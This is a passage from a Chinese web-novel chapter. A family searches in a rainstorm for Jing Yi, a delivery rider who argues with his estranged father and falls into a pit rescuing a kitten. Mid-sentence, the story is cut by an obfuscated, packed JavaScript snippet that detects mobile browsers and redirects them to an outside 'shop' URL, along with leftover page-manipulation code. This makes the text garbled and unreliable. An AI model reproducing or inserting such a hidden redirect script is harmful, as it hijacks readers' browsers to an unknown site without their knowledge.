“也劝我了。”陈知勉骂了一声,“该死,当初让我们入驻的时候说得多好听,现在又说我们浪费资源。他们在烧成本,我们就没在烧吗?” 这些是没办法的事,陶姜沉默。 “唉,吃菜。”陶爸拿起筷子,又想起什么,“小逸呢?” 陶姜:“让我们先吃。” 雨天的生意很差,附近几乎没什么订单,景逸今天跑去了市区的边缘。 刚才陶姜给他发消息,他回复说在回来的路上了。 他前天塞的那六百块钱,陶姜还给他,他不肯收。她跟陶爸商量了一下,决定当做景逸一个月的饭钱好了。 不然,郊区距市区近十公里,一路上住宿和吃饭的地方廖廖,他的生活也不方便,如果能都在陶家解决,就最好。 景逸没有异议。 倒是陈知勉,好奇地问:“大叔,你不就姜姜一个孩子?还有谁?” “不是我小孩,是帮过我们大忙的小恩人。”陶爸解释道,“叫景逸,这片唯一的外卖骑手。” 一听这个熟悉的名字,陈知勉脸黑了下来。 “哦,他啊,上次我点外卖,他超时了四十多分钟才送到,我说要给差评,他点了个头就走了!” 陶爸:“……” 陶姜失笑:“差评最后给了吗?” “没给,大家都不容易。” 慢慢换了一个话题。 他们在店内吃饭,门口白晃晃的布帘只挂了半截,能看见雨丝又落了下来,在外面连成一串,雨势加大了。 酒足饭饱,大家才发现,景逸仍没回来。 陶爸刚想让女儿给景逸发个消息问问情况,陶姜就起身说道:“我们去找他吧。” 她给景逸发了许多消息,没回。 打电话没人接。 想到景逸的夜盲症和今晚糟糕的路况,陶姜有些坐不住。 对面的陈知勉傻了眼,看了看外面的雨,其实也没有大到那个地步。他劝:“不然再等等,说不定只是没看手机。” 陶爸也觉得没必要:“如果真有什么事情,肯定会给你打电话的呀。” 带着寒意的风吹过脸颊,像一丝不详的预感无声低语。 “不行,他晚上眼睛不太好,雨越下越大,他回不来的。”陶姜果断跑回屋里拿外套去了,再出来时,她把陶爸的车钥匙放在了桌上。 看出她的坚持,陶爸立即拿上钥匙,撑开门口的伞到院子里开车。 陈知勉想了想,道:“那我也去。” 8. 8 距离市区越近,单子越多,这一天,景逸实实在在地忙到了天黑。 雨落时他没知觉,等到天色泛起深蓝,手头最后一单送达,他才似有所感,抬头望了望。 查天气预报,发现即将有大暴雨,便下线,调转车头返回。 路上,支架上的手机突然嗡嗡震动起来。为了不错过单子,景逸把铃声调得很大,吵得雨滴似乎都在空气中跟着跳脚。 景逸没停车,单手划开接听,以为是顾客,语气收敛:“您好。” 那头传来熟悉的声音,戏谑道:“哟?” 景逸这才分出神,认认真真看了来电号码一眼,挂断,拖入黑名单。 过了两分钟,一个新号码打进来。景逸将车速稍稍放缓,接通,什么也没说。 “看来你被社会毒打得不错,知道喊你老子用敬称了。”景振阳道。 “老子早死了。”景逸再次挂断,拉黑。 第三个陌生号码打进来。 知道他爸不好好发泄一通不能罢休,景逸干脆靠边停车,取下手机,神色无波无澜地说道:“老子好。” 景振阳果然开口大骂,翻来覆去就是那几句——记性再差的人听了二十来年,都会耳熟能详。 景逸推开车撑,下车。 每逢雨天,他好像都很狼狈。 衣料上被风拧出一道道沉重凌乱的褶痕,积水泡着心脏,他在一阵窒息感中,背一寸一寸往下压,手臂撑在车座上,在后视镜里打量自己阴沉的脸。 “前两天你在融泰遇见你刘叔叔了?也不知道打声招呼,没礼貌。听他说你正在谈恋爱?女孩谁家的,多大了?” “为了辆破摩托,玩离家出走,还拉黑父母,景逸,你幼不幼稚?” “行了,我也不跟你废话。至少把司机的微信从黑名单里放出来,让他接你回家。” 景逸总算有了反应,两个字:“不用。” “也好,那你自己回。” 景逸闭了闭眼:“我不会回去了。” 电话那边静了一瞬,景振阳再开口时,换上语重心长的调子:“小逸,别总这么任性。这次的事,我已经查清楚了,你妈确实有些过激,但也是为你好。回来吧,我们就当什么都没发生过。” “什么都没发生过?” “对,停掉的卡,你还可以正常用;车库再给你建一个。” 克制着,克制着。 雨越下越大。 景逸睁开眼,视野被浇得有些模糊,头盔的防风镜上,水痕淋漓,昏黑的雨幕像天空坍塌的一角,泼到人焦躁。 他来回踱步,冷笑,空出来的那只手狠狠拍了两下头盔,近乎神经质。 最终质问:“谁都知道我妈的照片一直被我压在那辆车的箱子底下,那女人凭什么砸车?烧车?从箱子开始烧?” “小逸!”景振阳的声音沉了下去,“那是因为你先瞒着我们去参加那种危险的野赛!你妈生气,是正常的——” 景逸眉心跳动,重复道:“她不是我妈,我妈早没了,我不会再回去。” “景逸!”景振阳终于勃然怒喝,“老子给你脸了是不是?最近是我选举的关键时期,你赶紧给我滚回来,少在外面惹是生非!” “选举?”景逸喃喃:“出轨养情妇的人,还有资格谈选举?” 景振阳大声斥着什么。他猛地有些出神,直到叮一声,微信弹出新消息,将思绪尽数打散。 景逸下意识移开手机屏幕,瞥了眼。 陶然山庄:「开饭了,回来没?」 陶然山庄:「图片」 景逸粗略地扫见了陶爸在饭桌旁比了个耶,陶姜的手挥出残影,想拂开他,画面寻常。 一股极其复杂的情绪涌上来,堵在胸口。 因为这个微信名,景逸起初以为陶姜叫陶然。 他心里嘲自己,然后动动手指,把“然”字替换成“姜”字,“陶然山庄”变成“陶姜山庄”,并回复:「就回,你们先吃。」 陶姜山庄:「收到。雨大,请注意安全,我们给你留好了饭。」 景逸垂眼,补了一句:「谢谢。」 “我不想管你的破事,你最好也别管我的。”对着景振阳扔下这句,景逸直接将手机关机。 正要跨上车,夜色里,似乎听见一声微弱的猫叫。 他顿了顿,取下头盔,铺天盖地的雨声和隐约的雷鸣霎时灌满了耳朵。仅凭车灯那束有限的光,什么也看不清。 凝神听了片刻,那细细的呜咽,是从车后方的树林阴影里传来。 景逸朝那个方向迈开步子。 才走出两步,脚下猛地一空。 哗啦—— 湿滑的泥土根本承受不住重量,他整个人失去平衡,顺着陡坡翻滚下去。 短暂的天旋地转后,后背重重撞上什么,停了下来。泥水洇进领口,冰冷刺骨。 景逸在黑暗里喘了口气,反应过来,他掉进了一个被雨水冲刷扩大的土坑里。 坑有多深?怎么上去?四周一片漆黑,头顶茂密的树冠完全遮住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823613|191061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天光,连几步之外那缕微弱的车灯光晕,也彻底看不见了。 景逸试图用手撑起身,摸索坑壁。 但雨水把泥土泡得稀烂,稍微一用力就簌簌往下掉,无处着力。身上好几处地方都传来钝痛,估计是滚下来时撞的。 猫呢? 景逸眼神涣散,正这么想着,裸露在外的小臂就一疼,像被尖锐的爪子抓了一道。 他头也不回,在一片茫茫然中伸手,精准地捞起那只小猫,囫囵塞进怀里,用上衣裹住。 “不怕啊……不怕,都怪景振阳那老混蛋,哥哥想办法带你出去。” - 车子在雨夜里行驶了半个钟头,依旧无所获。 景逸完全失联了。陶姜起初只觉得他是被天气或路况耽误,可现在,越来越糟糕的猜测不受控地往脑子里钻。 她以前在这附近还被毒蛇咬过,那股子钻心的疼和之后的高烧,让陶姜至今心有余悸。 景逸会不会也遇到了?会不会也是毒蛇? 雨这么大,路又滑,他会不会摔车,动弹不得? 陶姜越发同情起这个人来,好不容易为接单跑个远路,就撞上暴雨天。再结合他那对欠债跑路的父母,景逸的运气可真够背的。 回头建议他去寺庙拜拜吧。 忽然,陶姜视线边缘捕捉到一点异样。 她猛地前倾,道:“爸,快停车!” 车子刹住。 前方出现了两条岔路,一条汇入宽阔的主干道,另一条则是不知名的小道。 小道狭窄,只许行人和两轮车通过。 “我带景逸认路来过这里,他说不定就在这。”陶姜匆匆解释完,一下拉开车门,第一个跳下去。 她等着陶爸和李知勉下车,给两人指了路才朝前方走去。没走两步,已经看见那辆熟悉的摩托车,稳稳地停在路边。 陶姜大跨步跑了过去,陶爸跟在后边喊:“你穿的是运动鞋吗?!慢点,慢点!” 红色摩托车旁,陶姜气喘吁吁地停下。 可车在这里,人却没影。 试探喊:“景逸?” 立刻就听见了回答:“这里!但你先别过——” 话没说完,陶姜已经顺着那个陡坡滚了下来。 坑底的位置有限,很快,陶姜直直地撞在对方身上。 这场景实在不太美观,两人都被彼此磕得七荤八素,胸口发闷,头痛,下意识想挣动,可又不能。 陶姜听见景逸惊愕的声音:“你这姑娘还挺猛。”